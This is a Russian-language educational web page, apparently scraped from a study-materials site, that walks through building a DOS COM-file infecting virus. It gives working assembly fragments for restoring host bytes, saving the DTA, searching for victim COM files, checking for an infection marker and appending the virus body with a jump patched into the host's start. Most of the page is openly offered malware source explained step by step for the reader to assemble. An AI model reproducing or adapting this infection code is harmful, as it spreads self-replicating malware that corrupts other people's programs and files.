![]() Заглавная страница Избранные статьи Случайная статья Познавательные статьи Новые добавления Обратная связь FAQ Написать работу КАТЕГОРИИ: ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ТОП 10 на сайте Приготовление дезинфицирующих растворов различной концентрацииТехника нижней прямой подачи мяча. Франко-прусская война (причины и последствия) Организация работы процедурного кабинета Смысловое и механическое запоминание, их место и роль в усвоении знаний Коммуникативные барьеры и пути их преодоления Обработка изделий медицинского назначения многократного применения Образцы текста публицистического стиля Четыре типа изменения баланса Задачи с ответами для Всероссийской олимпиады по праву ![]() Мы поможем в написании ваших работ! ЗНАЕТЕ ЛИ ВЫ?
Влияние общества на человека
Приготовление дезинфицирующих растворов различной концентрации Практические работы по географии для 6 класса Организация работы процедурного кабинета Изменения в неживой природе осенью Уборка процедурного кабинета Сольфеджио. Все правила по сольфеджио Балочные системы. Определение реакций опор и моментов защемления |
Восстанавливаем зараженную программуСодержание книги
Поиск на нашем сайте
Как было указано в 1.3 (п.1), вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байтa (не на диске, а только в памяти!). Пусть вирус хранит исходные три байта в области "old_bytes". Итак: fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],alВы конечно знаете,что в COM - программе при ее загрузке по адресу CS:100h всегда находится первая исполняемая команда. В остальном работа фрагмента ясна. Запоминаем содержимое DTA Data Transfer Arrea (DTA) является одной из служебных структур MS DOS. Эта область находится в PSP по смещению 80h, и активно используется последней при работе с файлами. Например,многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого. Поскольку DOS строит PSP для каждой вновь запускаемой программы, для каждой из них создается и своя DTA. Так как наш вирус будет использовать при заражении и поиске файлов функции DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее всего, не будет нормально работать.Поэтому содержимое DTA необходимо сохранить. Для этой цели выделим массив из 128 байт с именем "old_dta": mov cx,80h;Размер DTA -;128 байт... mov bx,80h;Смещение к DTA lea si,old_dta;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA;байт и перено- mov ds:[si],al;сим его в мас-;сив... inc bx;К новому байту inc si; loop save_dta;Цикл 128 разРабота фрагмента пояснений не требует... Ищем подходящий файл Теперь самое время заняться поиском файла для заражения. Для поиска файла - жертвы мы будем использовать пару функций DOS: 4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение. Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh. А теперь приведем программный фрагмент, выполняющий поиск файла: find_first: mov ah,4eh;Поиск первого;файла... mov cx,00100110b;archive, system;hidden lea dx,maska;Маска для поис-;ка int 21h jnc r_3;Нашли! jmp restore_dta;Ошибка! find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл... jnc r_2 jmp restore_dta;Файл нельзя за-;крыть! r_2: mov ah,4fh;И найдем сле- int 21h;дующий... jnc r_3;Файл найден! jmp restore_dta;Ошибка! r_3: mov cx,12;Сотрем в буфере lea si,fn;"fn" имя пред- destroy_name:;ыдущего файла mov byte ptr [si],0; inc si; loop destroy_name;Цикл 12 раз... xor si,si;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh];фер имя только cmp al,0;что найденного;файла... je open;В конце имени в mov byte ptr ds:fn[si],al;DTA всегда сто- inc si;ит ноль, его мы jmp copy_name;и хотим достичьИмя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND.COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область " fn ", и она примет вид: WINMAND.COM. Такого файла на диске, скорее всего, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закончит работу. Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore_dta". Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало.
1.10 Читаем исходные три байта Итак,вирус нашел COM - программу, которую теперь следует заразить. Но сначала необходимо сохранить первые три байта этой программы (см. 1.3, п.4). Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn". open: mov ax,3d02h;Открыть файл;для чтения и;записи... lea dx,fn;Имя файла... int 21h; jnc save_bytes jmp restore_dta;Файл не откры-;вается! save_bytes:;Считаем три;байта: mov bx,ax;Сохраним дес-;криптор в BX mov ah,3fh;Номер функции mov cx,3;Сколько байт? lea dx,old_bytes;Буфер для счи-;тываемых данных int 21h jnc found_size jmp close;Ошибка!Приведенный фрагмент помещает прочитанную информацию в область "old_bytes". Остальное ясно из комментариев. Выполняем необходимые расчеты В этом пункте мы покажем, как вирус проводит расчет корректирующего числа для регистра DS (см. 1.4), а также смещения на свой код. Напомним, что это смещение записывается в начало заражаемого файла и зависит от его длины. Исходной величиной для расчета служит длина заражаемого файла,которую DOS вместе с именем найденного файла и рядом других его характеристик помещает в DTA. Размер записывается в DTA по смещению 01Ah (младшее слово) 1Ch (старшее). Так как длина COM - файла не может быть больше 65535 байт, она помещается в младшее слово целиком.А слово по смещению 01Ch обнуляется! Вышеуказанные расчеты можно произвести следующим образом:
Вы уже, конечно, поняли,что вирус будет округлять размер заражаемой программы до целого числа параграфов в большую сторону. Например, пусть файл имеет длину 401 байт. Тогда вирус запишет в DI значение 416 (25 целых параграфов, и еще один байт даст округленное значение 416). В "new_bytes" запишется число: 416 - 3 = 413, а в "add_to_ds" будет помещено значение: 26 - 1 = 25. Чтобы лучше понять работу фрагмента,рекомендую вам посмотреть пункт 1.6. И еще - подумайте, зачем нужна команда " dec ax ". Надеюсь, вы без труда в этом разберетесь! Проверяем файл на зараженность Мы, кажется, слишком увлеклись работой и не заметили одной очень важной детали. Ведь может случиться, что найденный нами файл уже заражен предлагаемым вирусом, а мы об этом даже не догадываемся! Поэтому наш вирус заразит эту программу еще раз. В принципе,количество заражений ничем не ограничено. Программа будет расти, пока не достигнет размера более 65535 байт, а после этого перестанет работать. Чтобы такого не произошло, введем проверку на зараженность. Например, в конец каждого заражаемого файла будем записывать цифру " 7 ", а при заражении проверять ее наличие. Итак: mov ax,4200h;Установим ука- xor cx,cx;затель на пос- dec si;ледний байт mov dx,si;файла... int 21h jnc read_last jmp close;Ошибка! read_last:;И считаем этот mov ah,3fh;байт в ячейку mov cx,1; " last "... lea dx,last int 21h jc close;Ошибка! cmp last,'7';" last " =" 7 " jne write_vir;Нет - дальше jmp find_next;Да- поищем дру-;гой файл...Можно, конечно,провести более совершенную проверку зараженности,нашей же целью было просто показать, как защитить файлы от повторного заражения. Читатель при желании сам легко внесет необходимые изменения в создаваемую программу. Заражаем COM - программу Наконец, подходящий для заражения COM - файл найден. Он еще не заражен нашим вирусом и имеет приемлемый размер. Поэтому самое время заняться заражением. Этот процесс описан в 1.3 (см. п.3 и п.4). Здесь мы только его реализуем: write_vir: mov ax,4200h;Установим ука- xor cx,cx;затель на конец mov dx,di;файла... int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,vir_len;код вируса дли- lea dx,vir;ной vir_len int 21h jc close;При ошибке -;закроем файл write_bytes: mov ax,4200h;Установим ука- xor cx,cx;затель на нача- xor dx,dx;ло файла int 21h jc close;При ошибке -;закроем файл mov ah,40h;Запишем в файл mov cx,3;первые три бай- lea dx,new_bytes;та (команду int 21h;перехода)... close: mov ah,3eh;Закроем зара- int 21h;женный файл...При записи первых трех байт в файл помещается команда перехода на код вируса. Все остальное можно понять из приведенных комментариев. Восстанавливаем DTA Для корректной работы зараженной программы восстановим ее DTA. Напомним,что вирус " прячет " ее в массиве "old_dta". Поэтому:
|
|||||||
Последнее изменение этой страницы: 2016-07-16; просмотров: 405; Нарушение авторского права страницы; Мы поможем в написании вашей работы! infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.23.20.156 (0.011 с.) |